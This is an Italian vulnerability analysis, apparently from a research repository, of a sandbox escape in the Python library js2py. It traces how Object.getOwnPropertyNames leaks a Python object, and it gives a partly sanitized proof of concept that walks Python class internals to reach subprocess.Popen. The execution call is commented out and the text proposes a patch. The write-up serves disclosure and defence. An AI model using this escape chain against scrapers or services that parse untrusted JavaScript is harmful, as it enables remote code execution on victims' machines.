
js2py è un popolare pacchetto Python in grado di valutare codice JavaScript all'interno dell'interprete Python. Viene utilizzato da vari web scraper per analizzare il codice JavaScript presente nei siti web.
Esiste una vulnerabilità nell'implementazione di una variabile globale all'interno di js2py che consente a un attaccante di ottenere un riferimento a un oggetto Python nell'ambiente js2py, permettendogli così di evadere dall'ambiente JavaScript ed eseguire comandi arbitrari sulla macchina host.
Normalmente, un utente chiamerebbe js2py.disable_pyimport() per impedire al codice JavaScript di evadere dall'ambiente js2py. Ma con questa vulnerabilità, un attaccante può aggirare questa restrizione ed eseguire qualsiasi comando sulla macchina bersaglio.
L'attaccante può ospitare un sito web contenente un file JavaScript malevolo o inviare uno script malevolo tramite API HTTP per farlo analizzare alla vittima. In questo modo, può ottenere l'esecuzione remota di codice sulla macchina host eseguendo comandi di shell arbitrari sul bersaglio.
js2py è una libreria Python comunemente usata nei crawler, utilizzata per analizzare ed eseguire codice JS in un ambiente Python nativo. I crawler usano generalmente js2py per analizzare il codice JS ottenuto dal web, simulando così l'ambiente del browser.
Tuttavia, js2py ha una funzione estremamente pericolosa per i crawler: supporta l'importazione e l'uso di pacchetti Python in JS, il che significa che js2py consente al codice JS di manipolare varie librerie Python e interagire direttamente con l'ambiente Python. Proprio per questo, possiamo usare un metodo simile a Jinja SSTI e, nell'ambiente js2py, usare un oggetto Python per trovare la classe subprocess.Popen e ottenere l'RCE.
Inoltre, dato che js2py è un pacchetto dell'era Python2, ampiamente utilizzato e da tempo non mantenuto, dovrebbe essere relativamente facile da analizzare.
Dopo aver impostato punti di interruzione, si può notare che il punto in cui il codice JS viene effettivamente analizzato è la funzione Eval di host/jseval.py. Impostando punti di interruzione al suo interno, si può vedere il codice Python convertito da js2py.
Ad esempio, questo pezzo di codice JS:
let a = 114
console.log(a)
Alla fine verrà analizzato in questo pezzo di codice Python:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
Si può vedere che le variabili a livello JS sono tutte memorizzate nella variabile Python var. Tutti i valori a livello JS sono memorizzati in modo pulito come classe PyJs (qui Js è in realtà una funzione, come spiegato più avanti). Anche le funzioni vengono chiamate tramite callprop. In circostanze normali, il codice JS non può toccare oggetti Python.
Osservando il codice, si è notato che all'autore piaceva molto usare la concatenazione di stringhe per costruire il codice Python finale, quindi è sorto il dubbio se si potesse costruire codice JS per generare codice Python illegale, costruendo così codice Python arbitrario ed eseguendolo. Ma considerando che questa strada è molto più difficile di quella successiva, non è stata approfondita.
Per ottenere un oggetto Python e implementare l'RCE, la prima cosa da vedere, ovviamente, è come gli oggetti Python vengono convertiti in oggetti PyJs.
Per prima cosa, individua l'implementazione della funzione Js in base.py. Il ruolo della funzione Js è convertire il valore Python in ingresso nel corrispondente valore PyJs, permettendo così al codice JS di manipolare questi valori.
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # several lines omitted here
else: # try to convert to js object
return py_wrap(val)
Si può vedere che le strutture dati di base di Python come bool, float, list, ecc. vengono convertite in classi PyJs dedicate, mentre altri tipi di dati vengono gestiti da py_wrap e alla fine diventano la classe PyObjectWrapper.
Le classi PyJs ordinarie rappresentano numeri, booleani e altri dati comuni, mentre PyObjectWrapper rappresenta dati speciali come i moduli Python. Quindi, non appena otteniamo un dato di tipo PyObjectWrapper, possiamo usare un metodo di accesso agli attributi simile a Jinja SSTI per ottenere l'RCE.
In generale, i dati di tipo PyObjectWrapper possono essere ottenuti solo quando la funzione di importazione dei pacchetti Python è abilitata, ma poiché js2py non è mantenuto da molto tempo e non ha considerato attentamente le differenze tra Python2 e Python3, alla fine si è verificata una vulnerabilità di evasione dalla sandbox.
Una nota a margine: osservando l'implementazione di PyJs, ho visto l'autore scrivere queste righe di codice:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
Si può dire che l'autore detesti estremamente Python3.
Mentre js2py fornisce la funzione di conversione del codice JS in codice Python, fornisce anche diversi oggetti integrati come console e Object per supportare il normale funzionamento del codice JS.
Il nostro obiettivo finale è bypassare la restrizione di pyimport e ottenere un oggetto PyObjectWrapper. Dall'analisi precedente, si può vedere che per ottenere un oggetto PyObjectWrapper dal nulla, possiamo solo partire dall'implementazione degli oggetti integrati ed estrarne un oggetto PyObjectWrapper.
Inizia a scansionare il codice di implementazione degli oggetti integrati. Da constructors/jsobject.py, si può vedere l'implementazione di varie funzioni nell'oggetto Object, incluse funzioni comunemente usate come Object.keys.
Poi, si può vedere questa funzione:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py usa dict per rappresentare gli oggetti in JS. keys() qui chiama il metodo keys() del dizionario Python. Chiunque abbia studiato Python dovrebbe sapere che in Python2 questa funzione restituisce una lista, mentre in Python3 restituisce una vista dict_keys. Secondo l'implementazione precedente della funzione Js, questo dict_keys verrà convertito in PyObjectWrapper, e quindi possiamo ottenere l'RCE.
Prima verifica se getOwnPropertyNames può ottenere un PyObjectWrapper:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
Ha stampato PyObjectWrapper(dict_keys([])), ovviamente può.
Quindi, basandoci su questo oggetto, otteniamo la funzione __getattribute__ e possiamo facilmente ottenere l'RCE. Quando si scriveva il PoC, si era pensato in modo troppo complicato; in realtà, basta usare __class__.__base__ per ottenere la funzione __getattribute__.
Poi, basandoci sulla funzione __getattribute__, otteniamo l'oggetto object, e quindi scriviamo una funzione ricorsiva per trovare qualsiasi classe di qualsiasi modulo. Qui, per l'RCE, si cerca subprocess.Popen.
NOTA (sanitizzato): Il frammento di codice qui sotto è mostrato a scopo educativo e di ricerca. È stato sanitizzato per evitare di facilitarne l'uso improprio: i comandi di shell sensibili e l'esecuzione diretta di sistema sono stati sostituiti con segnaposto. Non eseguirlo su sistemi di produzione o non aggiornati.
import js2py
code = """
let cmd = "DUMMY_CMD" # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""
# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.
Numero di versione del componente interessato:
Prodotti interessati:
Passaggi per riprodurre (solo in laboratorio):
pip install js2py per installare js2py ed esegui uno script PoC sanitizzato in un ambiente di laboratorio isolato. Il PoC originale tentava di eseguire comandi come head -n 1 /etc/passwd e calcolatrici; in questo repository sono sostituiti con segnaposto sicuri.PyObjectWrapper può essere ottenuto da Object.getOwnPropertyNames({}), consentendo l'attraversamento degli attributi per raggiungere le parti interne di Python.Poiché il problema risiede nella funzione getOwnPropertyNames, convertire il dict_keys che restituisce in una lista normale risolve il problema. Una patch suggerita è racchiudere obj.own.keys() con list(...) prima di restituirlo.
Questo repository ha solo scopo educativo e di ricerca difensiva. Non utilizzare le informazioni o il codice qui presenti per attaccare sistemi senza esplicita autorizzazione. I frammenti PoC sono stati sanitizzati per evitare di facilitarne l'uso improprio.
Compilato e tradotto a scopo di ricerca e difesa.